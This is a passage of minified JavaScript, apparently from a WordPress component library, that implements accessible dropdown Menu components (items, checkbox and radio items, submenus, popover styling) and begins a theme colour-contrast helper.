VB=Et([Mt,yr],[At,wr]),$B=VB.useContext,HB=VB.useScopedContext,WB=VB.useProviderContext,UB=VB.ContextProvider,GB=VB.ScopedContextProvider,KB=(0,B.createContext)(void 0),qB=Et([Mt],[At]),YB=qB.useContext,XB=qB.useScopedContext;qB.useProviderContext,qB.ContextProvider,qB.ScopedContextProvider,(0,B.createContext)(void 0);function ZB(e={}){var t=e,{combobox:n,parent:r,menubar:o}=t,i=N(t,["combobox","parent","menubar"]);const s=!!o&&!r,a=Xe(i.store,function(e,...t){if(e)return $e(e,"pick")(...t)}(r,["values"]),Ye(n,["arrowElement","anchorElement","contentElement","popoverElement","disclosureElement"])),l=a.getState(),c=ht(P(E({},i),{store:a,orientation:F(i.orientation,l.orientation,"vertical")})),u=tr(P(E({},i),{store:a,placement:F(i.placement,l.placement,"bottom-start"),timeout:F(i.timeout,l.timeout,s?0:150),hideTimeout:F(i.hideTimeout,l.hideTimeout,0)})),d=He(P(E(E({},c.getState()),u.getState()),{initialFocus:F(l.initialFocus,"container"),values:F(i.values,l.values,i.defaultValues,{})}),c,u,a);return We(d,(()=>Ke(d,["mounted"],(e=>{e.mounted||d.setState("activeId",null)})))),We(d,(()=>Ke(r,["orientation"],(e=>{d.setState("placement","vertical"===e.orientation?"right-start":"bottom-start")})))),P(E(E(E({},c),u),d),{combobox:n,parent:r,menubar:o,hideAll:()=>{u.hide(),null==r||r.hideAll()},setInitialFocus:e=>d.setState("initialFocus",e),setValues:e=>d.setState("values",e),setValue:(e,t)=>{"__proto__"!==e&&"constructor"!==e&&(Array.isArray(e)||d.setState("values",(n=>{const r=n[e],o=I(t,r);return o===r?n:P(E({},n),{[e]:void 0!==o&&o})})))}})}function QB(e={}){const t=$B(),n=YB(),r=TT();e=b(v({},e),{parent:void 0!==e.parent?e.parent:t,menubar:void 0!==e.menubar?e.menubar:n,combobox:void 0!==e.combobox?e.combobox:r});const[o,i]=rt(ZB,e);return function(e,t,n){return Te(t,[n.combobox,n.parent,n.menubar]),nt(e,n,"values","setValues"),Object.assign(Jn(gt(e,t,n),t,n),{combobox:n.combobox,parent:n.parent,menubar:n.menubar})}(o,i,e)}const JB=(0,c.createContext)(void 0);var eV=jt((function(e){var t=e,{store:n,hideOnClick:r=!0,preventScrollOnKeyDown:o=!0,focusOnHover:i,blurOnHoverEnd:s}=t,a=x(t,["store","hideOnClick","preventScrollOnKeyDown","focusOnHover","blurOnHoverEnd"]);const l=HB(!0),c=XB();D(n=n||l||c,!1);const u=a.onClick,d=Re(r),p="hideAll"in n?n.hideAll:void 0,f=!!p,h=ke((e=>{if(null==u||u(e),e.defaultPrevented)return;if(fe(e))return;if(pe(e))return;if(!p)return;"menu"!==e.currentTarget.getAttribute("aria-haspopup")&&d(e)&&p()})),m=oe(et(n,(e=>"contentElement"in e?e.contentElement:null)),"menuitem");return a=b(v({role:m},a),{onClick:h}),a=Mn(v({store:n,preventScrollOnKeyDown:o},a)),a=Cn(b(v({store:n},a),{focusOnHover(e){if(!n)return!1;if(!("function"==typeof i?i(e):null==i||i))return!1;const{baseElement:t,items:r}=n.getState();return f?(e.currentTarget.hasAttribute("aria-expanded")&&e.currentTarget.focus(),!0):!!function(e,t,n){var r;if(!e)return!1;if(Kt(e))return!0;const o=null==t?void 0:t.find((e=>{var t;return e.element!==n&&"true"===(null==(t=e.element)?void 0:t.getAttribute("aria-expanded"))})),i=null==(r=null==o?void 0:o.element)?void 0:r.getAttribute("aria-controls");if(!i)return!1;const s=K(e).getElementById(i);return!(!s||!Kt(s)&&!s.querySelector("[role=menuitem][aria-expanded=true]"))}(t,r,e.currentTarget)&&(e.currentTarget.focus(),!0)},blurOnHoverEnd:e=>"function"==typeof s?s(e):null!=s?s:f})),a})),tV=Ct(St((function(e){return kt("div",eV(e))}))),nV=Et(),rV=nV.useContext,oV=(nV.useScopedContext,nV.useProviderContext,nV.ContextProvider,nV.ScopedContextProvider,"input");function iV(e,t){t?e.indeterminate=!0:e.indeterminate&&(e.indeterminate=!1)}function sV(e){return Array.isArray(e)?e.toString():e}var aV=jt((function(e){var t=e,{store:n,name:r,value:o,checked:i,defaultChecked:s}=t,a=x(t,["store","name","value","checked","defaultChecked"]);const l=rV();n=n||l;const[c,u]=(0,B.useState)(null!=s&&s),d=et(n,(e=>{if(void 0!==i)return i;if(void 0===(null==e?void 0:e.value))return c;if(null!=o){if(Array.isArray(e.value)){const t=sV(o);return e.value.includes(t)}return e.value===o}return!Array.isArray(e.value)&&("boolean"==typeof e.value&&e.value)})),p=(0,B.useRef)(null),f=function(e,t){return"input"===e&&(!t||"checkbox"===t)}(Ne(p,oV),a.type),h=d?"mixed"===d:void 0,m="mixed"!==d&&d,g=O(a),[y,w]=Ie();(0,B.useEffect)((()=>{const e=p.current;e&&(iV(e,h),f||(e.checked=m,void 0!==r&&(e.name=r),void 0!==o&&(e.value=`${o}`)))}),[y,h,f,m,r,o]);const _=a.onChange,S=ke((e=>{if(g)return e.stopPropagation(),void e.preventDefault();if(iV(e.currentTarget,h),f||(e.currentTarget.checked=!e.currentTarget.checked,w()),null==_||_(e),e.defaultPrevented)return;const t=e.currentTarget.checked;u(t),null==n||n.setValue((e=>{if(null==o)return t;const n=sV(o);return Array.isArray(e)?t?e.includes(n)?e:[...e,n]:e.filter((e=>e!==n)):e!==n&&n}))})),C=a.onClick,k=ke((e=>{null==C||C(e),e.defaultPrevented||f||S(e)}));return a=Me(a,(e=>(0,_t.jsx)(lI.Provider,{value:m,children:e})),[m]),a=b(v({role:f?void 0:"checkbox",type:f?"checkbox":void 0,"aria-checked":d},a),{ref:Ee(p,a.ref),onChange:S,onClick:k}),a=Tn(v({clickOnEnter:!f},a)),L(v({name:f?r:void 0,value:f?o:void 0,checked:m},a))}));St((function(e){const t=aV(e);return kt(oV,t)}));function lV(e={}){var t;e.store;const n=null==(t=e.store)?void 0:t.getState(),r=He({value:F(e.value,null==n?void 0:n.value,e.defaultValue,!1)},e.store);return P(E({},r),{setValue:e=>r.setState("value",e)})}function cV(e={}){const[t,n]=rt(lV,e);return function(e,t,n){return Te(t,[n.store]),nt(e,n,"value","setValue"),e}(t,n,e)}function uV(e,t,n){if(void 0===t)return Array.isArray(e)?e:!!n;const r=function(e){return Array.isArray(e)?e.toString():e}(t);return Array.isArray(e)?n?e.includes(r)?e:[...e,r]:e.filter((e=>e!==r)):n?r:e!==r&&e}var dV=jt((function(e){var t=e,{store:n,name:r,value:o,checked:i,defaultChecked:s,hideOnClick:a=!1}=t,l=x(t,["store","name","value","checked","defaultChecked","hideOnClick"]);const c=HB();D(n=n||c,!1);const u=Se(s);(0,B.useEffect)((()=>{null==n||n.setValue(r,((e=[])=>u?uV(e,o,!0):e))}),[n,r,o,u]),(0,B.useEffect)((()=>{void 0!==i&&(null==n||n.setValue(r,(e=>uV(e,o,i))))}),[n,r,o,i]);const d=cV({value:n.useState((e=>e.values[r])),setValue(e){null==n||n.setValue(r,(()=>{if(void 0===i)return e;const t=uV(e,o,i);return Array.isArray(t)&&Array.isArray(e)&&function(e,t){if(e===t)return!0;if(!e)return!1;if(!t)return!1;if("object"!=typeof e)return!1;if("object"!=typeof t)return!1;const n=Object.keys(e),r=Object.keys(t),{length:o}=n;if(r.length!==o)return!1;for(const r of n)if(e[r]!==t[r])return!1;return!0}(e,t)?e:t}))}});return l=v({role:"menuitemcheckbox"},l),l=aV(v({store:d,name:r,value:o,checked:i},l)),l=eV(v({store:n,hideOnClick:a},l))})),pV=Ct(St((function(e){return kt("div",dV(e))})));function fV(e,t,n){return void 0===n?e:n?t:e}var hV=jt((function(e){var t=e,{store:n,name:r,value:o,checked:i,onChange:s,hideOnClick:a=!1}=t,l=x(t,["store","name","value","checked","onChange","hideOnClick"]);const c=HB();D(n=n||c,!1);const u=Se(l.defaultChecked);(0,B.useEffect)((()=>{null==n||n.setValue(r,((e=!1)=>fV(e,o,u)))}),[n,r,o,u]),(0,B.useEffect)((()=>{void 0!==i&&(null==n||n.setValue(r,(e=>fV(e,o,i))))}),[n,r,o,i]);const d=n.useState((e=>e.values[r]===o));return l=Me(l,(e=>(0,_t.jsx)(KB.Provider,{value:!!d,children:e})),[d]),l=v({role:"menuitemradio"},l),l=w_(v({name:r,value:o,checked:d,onChange(e){if(null==s||s(e),e.defaultPrevented)return;const t=e.currentTarget;null==n||n.setValue(r,(e=>fV(e,o,null!=i?i:t.checked)))}},l)),l=eV(v({store:n,hideOnClick:a},l))})),mV=Ct(St((function(e){return kt("div",hV(e))}))),gV=jt((function(e){return e=mn(e)})),vV=St((function(e){return kt("div",gV(e))})),bV=jt((function(e){return e=xn(e)})),xV=St((function(e){return kt("div",bV(e))})),yV=jt((function(e){var t=e,{store:n}=t,r=x(t,["store"]);const o=It();D(n=n||o,!1);const i=n.useState((e=>"horizontal"===e.orientation?"vertical":"horizontal"));return r=tP(b(v({},r),{orientation:i}))})),wV=(St((function(e){return kt("hr",yV(e))})),jt((function(e){var t=e,{store:n}=t,r=x(t,["store"]);const o=$B();return r=yV(v({store:n=n||o},r))}))),_V=St((function(e){return kt("hr",wV(e))}));const SV=.82,CV=.9,kV={IN:"400ms",OUT:"200ms"},jV="cubic-bezier(0.33, 0, 0, 1)",EV=Il(1),PV=Il(2),NV=Il(3),TV=zl.theme.gray[300],IV=zl.theme.gray[200],RV=zl.theme.gray[700],MV=zl.theme.gray[100],AV=zl.theme.foreground,DV=`0 0 0 ${Fl.borderWidth} ${TV}, ${Fl.elevationMedium}`,zV=`0 0 0 ${Fl.borderWidth} ${AV}`,OV="minmax( 0, max-content ) 1fr",LV=yl("div",{target:"e1wg7tti14"})("position:relative;background-color:",zl.ui.background,";border-radius:",Fl.radiusMedium,";",(e=>Nl("box-shadow:","toolbar"===e.variant?zV:DV,";",""))," overflow:hidden;@media not ( prefers-reduced-motion ){transition-property:transform,opacity;transition-timing-function:",jV,";transition-duration:",kV.IN,";will-change:transform,opacity;opacity:0;&:has( [data-enter] ){opacity:1;}&:has( [data-leave] ){transition-duration:",kV.OUT,";}&:has( [data-side='bottom'] ),&:has( [data-side='top'] ){transform:scaleY( ",SV," );}&:has( [data-side='bottom'] ){transform-origin:top;}&:has( [data-side='top'] ){transform-origin:bottom;}&:has( [data-enter][data-side='bottom'] ),&:has( [data-enter][data-side='top'] ),&:has( [data-leave][data-side='bottom'] ),&:has( [data-leave][data-side='top'] ){transform:scaleY( 1 );}}"),FV=yl("div",{target:"e1wg7tti13"})("position:relative;z-index:1000000;display:grid;grid-template-columns:",OV,";grid-template-rows:auto;box-sizing:border-box;min-width:160px;max-width:320px;max-height:var( --popover-available-height );padding:",EV,";overscroll-behavior:contain;overflow:auto;outline:2px solid transparent!important;@media not ( prefers-reduced-motion ){transition:inherit;transform-origin:inherit;&[data-side='bottom'],&[data-side='top']{transform:scaleY(\n\t\t\t\tcalc(\n\t\t\t\t\t1 / ",SV," *\n\t\t\t\t\t\t",CV,"\n\t\t\t\t)\n\t\t\t);}&[data-enter][data-side='bottom'],&[data-enter][data-side='top'],&[data-leave][data-side='bottom'],&[data-leave][data-side='top']{transform:scaleY( 1 );}}"),BV=Nl("all:unset;position:relative;min-height:",Il(10),";box-sizing:border-box;grid-column:1/-1;display:grid;grid-template-columns:",OV,";align-items:center;@supports ( grid-template-columns: subgrid ){grid-template-columns:subgrid;}font-size:",Ix("default.fontSize"),";font-family:inherit;font-weight:normal;line-height:20px;color:",zl.theme.foreground,";border-radius:",Fl.radiusSmall,";padding-block:",PV,";padding-inline:",NV,";scroll-margin:",EV,";user-select:none;outline:none;&[aria-disabled='true']{color:",zl.ui.textDisabled,";cursor:not-allowed;}&[data-active-item]:not( [data-focus-visible] ):not(\n\t\t\t[aria-disabled='true']\n\t\t){background-color:",zl.theme.accent,";color:",zl.theme.accentInverted,";}&[data-focus-visible]{box-shadow:0 0 0 1.5px ",zl.theme.accent,";outline:2px solid transparent;}&:active,&[data-active]{}",FV,':not(:focus) &:not(:focus)[aria-expanded="true"]{background-color:',MV,";color:",zl.theme.foreground,";}svg{fill:currentColor;}",""),VV=yl(tV,{target:"e1wg7tti12"})(BV,";"),$V=yl(pV,{target:"e1wg7tti11"})(BV,";"),HV=yl(mV,{target:"e1wg7tti10"})(BV,";"),WV=yl("span",{target:"e1wg7tti9"})("grid-column:1;",$V,">&,",HV,">&{min-width:",Il(6),";}",$V,">&,",HV,">&,&:not( :empty ){margin-inline-end:",Il(2),";}display:flex;align-items:center;justify-content:center;color:",RV,";[data-active-item]:not( [data-focus-visible] )>&,[aria-disabled='true']>&{color:inherit;}"),UV=yl("div",{target:"e1wg7tti8"})("grid-column:2;display:flex;align-items:center;justify-content:space-between;gap:",Il(3),";pointer-events:none;"),GV=yl("div",{target:"e1wg7tti7"})("flex:1;display:inline-flex;flex-direction:column;gap:",Il(1),";"),KV=yl("span",{target:"e1wg7tti6"})("flex:0 1 fit-content;min-width:0;width:fit-content;display:flex;align-items:center;justify-content:center;gap:",Il(3),";color:",RV,";[data-active-item]:not( [data-focus-visible] ) *:not(",FV,") &,[aria-disabled='true'] *:not(",FV,") &{color:inherit;}"),qV=yl(vV,{target:"e1wg7tti5"})({name:"49aokf",styles:"display:contents"}),YV=yl(xV,{target:"e1wg7tti4"})("grid-column:1/-1;padding-block-start:",Il(3),";padding-block-end:",Il(2),";padding-inline:",NV,";"),XV=yl(_V,{target:"e1wg7tti3"})("grid-column:1/-1;border:none;height:",Fl.borderWidth,";background-color:",(e=>"toolbar"===e.variant?AV:IV),";margin-block:",Il(2),";margin-inline:",NV,";outline:2px solid transparent;"),ZV=yl(Xx,{target:"e1wg7tti2"})("width:",Il(1.5),";",Mg({transform:"scaleX(1)"},{transform:"scaleX(-1)"}),";"),QV=yl(fk,{target:"e1wg7tti1"})("font-size:",Ix("default.fontSize"),";line-height:20px;color:inherit;"),JV=yl(fk,{target:"e1wg7tti0"})("font-size:",Ix("helpText.fontSize"),";line-height:16px;color:",RV,";overflow-wrap:anywhere;[data-active-item]:not( [data-focus-visible] ) *:not( ",FV," ) &,[aria-disabled='true'] *:not( ",FV," ) &{color:inherit;}"),e$=(0,c.forwardRef)((function({prefix:e,suffix:t,children:n,disabled:r=!1,hideOnClick:o=!0,store:i,...s},a){const l=(0,c.useContext)(JB);if(!l?.store)throw new Error("Menu.Item can only be rendered inside a Menu component");const u=null!=i?i:l.store;return(0,_t.jsxs)(VV,{ref:a,...s,accessibleWhenDisabled:!0,disabled:r,hideOnClick:o,store:u,children:[(0,_t.jsx)(WV,{children:e}),(0,_t.jsxs)(UV,{children:[(0,_t.jsx)(GV,{children:n}),t&&(0,_t.jsx)(KV,{children:t})]})]})}));var t$=jt((function(e){var t=e,{store:n,checked:r}=t,o=x(t,["store","checked"]);const i=(0,B.useContext)(KB);return r=null!=r?r:i,o=uI(b(v({},o),{checked:r}))})),n$=St((function(e){return kt("span",t$(e))}));const r$=(0,c.forwardRef)((function({suffix:e,children:t,disabled:n=!1,hideOnClick:r=!1,...o},i){const s=(0,c.useContext)(JB);if(!s?.store)throw new Error("Menu.CheckboxItem can only be rendered inside a Menu component");return(0,_t.jsxs)($V,{ref:i,...o,accessibleWhenDisabled:!0,disabled:n,hideOnClick:r,store:s.store,children:[(0,_t.jsx)(n$,{store:s.store,render:(0,_t.jsx)(WV,{}),style:{width:"auto",height:"auto"},children:(0,_t.jsx)(oS,{icon:ok,size:24})}),(0,_t.jsxs)(UV,{children:[(0,_t.jsx)(GV,{children:t}),e&&(0,_t.jsx)(KV,{children:e})]})]})})),o$=(0,_t.jsx)(n.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,_t.jsx)(n.Circle,{cx:12,cy:12,r:3})}),i$=(0,c.forwardRef)((function({suffix:e,children:t,disabled:n=!1,hideOnClick:r=!1,...o},i){const s=(0,c.useContext)(JB);if(!s?.store)throw new Error("Menu.RadioItem can only be rendered inside a Menu component");return(0,_t.jsxs)(HV,{ref:i,...o,accessibleWhenDisabled:!0,disabled:n,hideOnClick:r,store:s.store,children:[(0,_t.jsx)(n$,{store:s.store,render:(0,_t.jsx)(WV,{}),style:{width:"auto",height:"auto"},children:(0,_t.jsx)(oS,{icon:o$,size:24})}),(0,_t.jsxs)(UV,{children:[(0,_t.jsx)(GV,{children:t}),e&&(0,_t.jsx)(KV,{children:e})]})]})})),s$=(0,c.forwardRef)((function(e,t){const n=(0,c.useContext)(JB);if(!n?.store)throw new Error("Menu.Group can only be rendered inside a Menu component");return(0,_t.jsx)(qV,{ref:t,...e,store:n.store})})),a$=(0,c.forwardRef)((function(e,t){const n=(0,c.useContext)(JB);if(!n?.store)throw new Error("Menu.GroupLabel can only be rendered inside a Menu component");return(0,_t.jsx)(YV,{ref:t,render:(0,_t.jsx)($v,{upperCase:!0,variant:"muted",size:"11px",weight:500,lineHeight:"16px"}),...e,store:n.store})})),l$=(0,c.forwardRef)((function(e,t){const n=(0,c.useContext)(JB);if(!n?.store)throw new Error("Menu.Separator can only be rendered inside a Menu component");return(0,_t.jsx)(XV,{ref:t,...e,store:n.store,variant:n.variant})})),c$=(0,c.forwardRef)((function(e,t){const n=(0,c.useContext)(JB);if(!n?.store)throw new Error("Menu.ItemLabel can only be rendered inside a Menu component");return(0,_t.jsx)(QV,{numberOfLines:1,ref:t,...e})})),u$=(0,c.forwardRef)((function(e,t){const n=(0,c.useContext)(JB);if(!n?.store)throw new Error("Menu.ItemHelpText can only be rendered inside a Menu component");return(0,_t.jsx)(JV,{numberOfLines:2,ref:t,...e})}));function d$(e,t){return!!(null==e?void 0:e.some((e=>!!e.element&&(e.element!==t&&"true"===e.element.getAttribute("aria-expanded")))))}var p$=jt((function(e){var t=e,{store:n,focusable:r,accessibleWhenDisabled:o,showOnHover:i}=t,s=x(t,["store","focusable","accessibleWhenDisabled","showOnHover"]);const a=WB();D(n=n||a,!1);const l=(0,B.useRef)(null),c=n.parent,u=n.menubar,d=!!c,p=!!u&&!d,f=O(s),h=()=>{const e=l.current;e&&(null==n||n.setDisclosureElement(e),null==n||n.setAnchorElement(e),null==n||n.show())},m=s.onFocus,g=ke((e=>{if(null==m||m(e),f)return;if(e.defaultPrevented)return;if(null==n||n.setAutoFocusOnShow(!1),null==n||n.setActiveId(null),!u)return;if(!p)return;const{items:t}=u.getState();d$(t,e.currentTarget)&&h()})),y=et(n,(e=>e.placement.split("-")[0])),w=s.onKeyDown,_=ke((e=>{if(null==w||w(e),f)return;if(e.defaultPrevented)return;const t=function(e,t){return{ArrowDown:("bottom"===t||"top"===t)&&"first",ArrowUp:("bottom"===t||"top"===t)&&"last",ArrowRight:"right"===t&&"first",ArrowLeft:"left"===t&&"first"}[e.key]}(e,y);t&&(e.preventDefault(),h(),null==n||n.setAutoFocusOnShow(!0),null==n||n.setInitialFocus(t))})),S=s.onClick,C=ke((e=>{if(null==S||S(e),e.defaultPrevented)return;if(!n)return;const t=!e.detail,{open:r}=n.getState();r&&!t||(d&&!t||n.setAutoFocusOnShow(!0),n.setInitialFocus(t?"first":"container")),d&&h()}));s=Me(s,(e=>(0,_t.jsx)(UB,{value:n,children:e})),[n]),d&&(s=b(v({},s),{render:(0,_t.jsx)(or.div,{render:s.render})}));const k=Pe(s.id),j=et((null==c?void 0:c.combobox)||c,"contentElement"),E=d||p?oe(j,"menuitem"):void 0,P=n.useState("contentElement");return s=b(v({id:k,role:E,"aria-haspopup":re(P,"menu")},s),{ref:Ee(l,s.ref),onFocus:g,onKeyDown:_,onClick:C}),s=_r(b(v({store:n,focusable:r,accessibleWhenDisabled:o},s),{showOnHover:e=>{if(!(()=>{if("function"==typeof i)return i(e);if(null!=i)return i;if(d)return!0;if(!u)return!1;const{items:t}=u.getState();return p&&d$(t)})())return!1;const t=p?u:c;return!t||(t.setActiveId(e.currentTarget.id),!0)}})),s=qT(v({store:n,toggleOnClick:!d,focusable:r,accessibleWhenDisabled:o},s)),s=Hn(v({store:n,typeahead:p},s))})),f$=St((function(e){return kt("button",p$(e))}));const h$=(0,c.forwardRef)((function({children:e,disabled:t=!1,...n},r){const o=(0,c.useContext)(JB);if(!o?.store)throw new Error("Menu.TriggerButton can only be rendered inside a Menu component");if(o.store.parent)throw new Error("Menu.TriggerButton should not be rendered inside a nested Menu component. Use Menu.SubmenuTriggerItem instead.");return(0,_t.jsx)(f$,{ref:r,...n,disabled:t,store:o.store,children:e})})),m$=(0,_t.jsx)(n.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,_t.jsx)(n.Path,{d:"M10.8622 8.04053L14.2805 12.0286L10.8622 16.0167L9.72327 15.0405L12.3049 12.0286L9.72327 9.01672L10.8622 8.04053Z"})}),g$=(0,c.forwardRef)((function({suffix:e,...t},n){const r=(0,c.useContext)(JB);if(!r?.store.parent)throw new Error("Menu.SubmenuTriggerItem can only be rendered inside a nested Menu component");return(0,_t.jsx)(f$,{ref:n,accessibleWhenDisabled:!0,store:r.store,render:(0,_t.jsx)(e$,{...t,store:r.store.parent,suffix:(0,_t.jsxs)(_t.Fragment,{children:[e,(0,_t.jsx)(ZV,{"aria-hidden":"true",icon:m$,size:24,preserveAspectRatio:"xMidYMid slice"})]})})})}));var v$=jt((function(e){var t=e,{store:n,alwaysVisible:r,composite:o}=t,i=x(t,["store","alwaysVisible","composite"]);const s=WB();D(n=n||s,!1);const a=n.parent,l=n.menubar,c=!!a,u=Pe(i.id),d=i.onKeyDown,p=n.useState((e=>e.placement.split("-")[0])),f=n.useState((e=>"both"===e.orientation?void 0:e.orientation)),h="vertical"!==f,m=et(l,(e=>!!e&&"vertical"!==e.orientation)),g=ke((e=>{if(null==d||d(e),!e.defaultPrevented){if(c||l&&!h){const t={ArrowRight:()=>"left"===p&&!h,ArrowLeft:()=>"right"===p&&!h,ArrowUp:()=>"bottom"===p&&h,ArrowDown:()=>"top"===p&&h}[e.key];if(null==t?void 0:t())return e.stopPropagation(),e.preventDefault(),null==n?void 0:n.hide()}if(l){const t={ArrowRight:()=>{if(m)return l.next()},ArrowLeft:()=>{if(m)return l.previous()},ArrowDown:()=>{if(!m)return l.next()},ArrowUp:()=>{if(!m)return l.previous()}}[e.key],n=null==t?void 0:t();void 0!==n&&(e.stopPropagation(),e.preventDefault(),l.move(n))}}}));i=Me(i,(e=>(0,_t.jsx)(GB,{value:n,children:e})),[n]);const y=function(e){var t=e,{store:n}=t,r=x(t,["store"]);const[o,i]=(0,B.useState)(void 0),s=r["aria-label"],a=et(n,"disclosureElement"),l=et(n,"contentElement");return(0,B.useEffect)((()=>{const e=a;e&&l&&(s||l.hasAttribute("aria-label")?i(void 0):e.id&&i(e.id))}),[s,a,l]),o}(v({store:n},i)),w=Xr(n.useState("mounted"),i.hidden,r),_=w?b(v({},i.style),{display:"none"}):i.style;i=b(v({id:u,"aria-labelledby":y,hidden:w},i),{ref:Ee(u?n.setContentElement:null,i.ref),style:_,onKeyDown:g});const S=!!n.combobox;return(o=null!=o?o:!S)&&(i=v({role:"menu","aria-orientation":f},i)),i=cn(v({store:n,composite:o},i)),i=Hn(v({store:n,typeahead:!S},i))})),b$=(St((function(e){return kt("div",v$(e))})),jt((function(e){var t=e,{store:n,modal:r=!1,portal:o=!!r,hideOnEscape:i=!0,autoFocusOnShow:s=!0,hideOnHoverOutside:a,alwaysVisible:l}=t,c=x(t,["store","modal","portal","hideOnEscape","autoFocusOnShow","hideOnHoverOutside","alwaysVisible"]);const u=WB();D(n=n||u,!1);const d=(0,B.useRef)(null),p=n.parent,f=n.menubar,h=!!p,m=!!f&&!h;c=b(v({},c),{ref:Ee(d,c.ref)});const g=v$(v({store:n,alwaysVisible:l},c)),{"aria-labelledby":y}=g;c=x(g,["aria-labelledby"]);const[w,_]=(0,B.useState)(),S=n.useState("autoFocusOnShow"),C=n.useState("initialFocus"),k=n.useState("baseElement"),j=n.useState("renderedItems");(0,B.useEffect)((()=>{let e=!1;return _((t=>{var n,r,o;if(e)return;if(!S)return;if(null==(n=null==t?void 0:t.current)?void 0:n.isConnected)return t;const i=(0,B.createRef)();switch(C){case"first":i.current=(null==(r=j.find((e=>!e.disabled&&e.element)))?void 0:r.element)||null;break;case"last":i.current=(null==(o=[...j].reverse().find((e=>!e.disabled&&e.element)))?void 0:o.element)||null;break;default:i.current=k}return i})),()=>{e=!0}}),[n,S,C,j,k]);const E=!h&&r,P=!!s,N=!!w||!!c.initialFocus||!!E,T=et(n.combobox||n,"contentElement"),I=et((null==p?void 0:p.combobox)||p,"contentElement"),R=(0,B.useMemo)((()=>{if(!I)return;if(!T)return;const e=T.getAttribute("role"),t=I.getAttribute("role");return"menu"!==t&&"menubar"!==t||"menu"!==e?I:void 0}),[T,I]);return void 0!==R&&(c=v({preserveTabOrderAnchor:R},c)),c=Gi(b(v({store:n,alwaysVisible:l,initialFocus:w,autoFocusOnShow:P?N&&s:S||!!E},c),{hideOnEscape:e=>!z(i,e)&&(null==n||n.hideAll(),!0),hideOnHoverOutside(e){const t=null==n?void 0:n.getState().disclosureElement;return!!("function"==typeof a?a(e):null!=a?a:h||m&&(!t||!Kt(t)))&&(!!e.defaultPrevented||(!h||(!t||(function(e,t,n){const r=new Event(t,n);e.dispatchEvent(r)}(t,"mouseout",e),!Kt(t)||(requestAnimationFrame((()=>{Kt(t)||null==n||n.hide()})),!1)))))},modal:E,portal:o,backdrop:!h&&c.backdrop})),c=v({"aria-labelledby":y},c)}))),x$=_o(St((function(e){return kt("div",b$(e))})),WB);const y$=(0,c.forwardRef)((function({gutter:e,children:t,shift:n,modal:r=!0,...o},i){const s=(0,c.useContext)(JB),a=et(s?.store,"currentPlacement")?.split("-")[0],l=(0,c.useCallback)((e=>(e.preventDefault(),!0)),[]),u=et(s?.store,"rtl")?"rtl":"ltr",d=(0,c.useMemo)((()=>({dir:u,style:{direction:u}})),[u]);if(!s?.store)throw new Error("Menu.Popover can only be rendered inside a Menu component");return(0,_t.jsx)(x$,{...o,ref:i,modal:r,store:s.store,gutter:null!=e?e:s.store.parent?0:8,shift:null!=n?n:s.store.parent?-4:0,hideOnHoverOutside:!1,"data-side":a,wrapperProps:d,hideOnEscape:l,unmountOnHide:!0,render:e=>(0,_t.jsx)(LV,{variant:s.variant,children:(0,_t.jsx)(FV,{...e})}),children:t})})),w$=Object.assign(ll((e=>{const{children:t,defaultOpen:n=!1,open:r,onOpenChange:o,placement:i,variant:s}=sl(e,"Menu"),l=(0,c.useContext)(JB),u=(0,a.isRTL)();let d=null!=i?i:l?.store?"right-start":"bottom-start";u&&(/right/.test(d)?d=d.replace("right","left"):/left/.test(d)&&(d=d.replace("left","right")));const p=QB({parent:l?.store,open:r,defaultOpen:n,placement:d,focusLoop:!0,setOpen(e){o?.(e)},rtl:u}),f=(0,c.useMemo)((()=>({store:p,variant:s})),[p,s]);return(0,_t.jsx)(JB.Provider,{value:f,children:t})}),"Menu"),{Context:Object.assign(JB,{displayName:"Menu.Context"}),Item:Object.assign(e$,{displayName:"Menu.Item"}),RadioItem:Object.assign(i$,{displayName:"Menu.RadioItem"}),CheckboxItem:Object.assign(r$,{displayName:"Menu.CheckboxItem"}),Group:Object.assign(s$,{displayName:"Menu.Group"}),GroupLabel:Object.assign(a$,{displayName:"Menu.GroupLabel"}),Separator:Object.assign(l$,{displayName:"Menu.Separator"}),ItemLabel:Object.assign(c$,{displayName:"Menu.ItemLabel"}),ItemHelpText:Object.assign(u$,{displayName:"Menu.ItemHelpText"}),Popover:Object.assign(y$,{displayName:"Menu.Popover"}),TriggerButton:Object.assign(h$,{displayName:"Menu.TriggerButton"}),SubmenuTriggerItem:Object.assign(g$,{displayName:"Menu.SubmenuTriggerItem"})});const _$=yl("div",{target:"e1krjpvb0"})({name:"1a3idx0",styles:"color:var( --wp-components-color-foreground, currentColor )"});function S$(e){!function(e){for(const[t,n]of Object.entries(e))void 0!==n&&yv(n).isValid()}(e);const t={...C$(e.accent),...k$(e.background)};return function(e){for(const t of Object.values(e));}(function(e,t){const n=e.background||zl.white,r=e.accent||"#3858e9",o=t.foreground||zl.gray[900],i=t.gray||zl.gray;return{accent:yv(n).isReadable(r)?void 0:`The background color ("${n}") does not have sufficient contrast against the accent color ("${r}").`,foreground:yv(n).isReadable(o)?void 0:`The background color provided ("${n}") does not have sufficient contrast against the standard foreground colors.`,grays:yv(n).contrast(i[600])>=3&&yv(n).contrast(i[700])>=4.5?void 0:`The background color provided ("${n}") cannot generate a set of grayscale foreground colors with sufficient contrast. Try adjusting the color to be lighter or darker.`}}(e,t)),{colors:t}}function C$(e){return e?{accent:e,accentDarker10:yv(e).darken(.1).toHex(),accentDarker20:yv(e).darken(.2).toHex(),accentInverted:j$(e)}:{}}function k$(e){if(!e)return{};const t=j$(e);return{background:e,foreground:t,foregroundInverted:j$(t),gray:E$(e,t)}}function j$(e){return yv(e).isDark()?zl.white:zl.gray[900]}function E$(e,t){const n=yv(e).isDark()?"lighten":"darken",r=Math.abs(yv(e).toHsl().l-yv(t).toHsl().l)/100,o={};return Object.entries({100:.06,200:.121,300:.132,400:.2,600:.42,700:.543,800:.821}).forEach((([t,i])=>{o[parseInt(t)]=yv(e)[n](i/.884*r).toHex()})),o}_v([Sv,$_]);const P$=function({accent:e,background:t,className:n,...r}){const o=il(),i=(0,c.useMemo)((()=>o(...(({colors:e})=>{const t=Object.entries(e.gray||{}).map((([e,t])=>`--wp-components-color-gray-${e}: 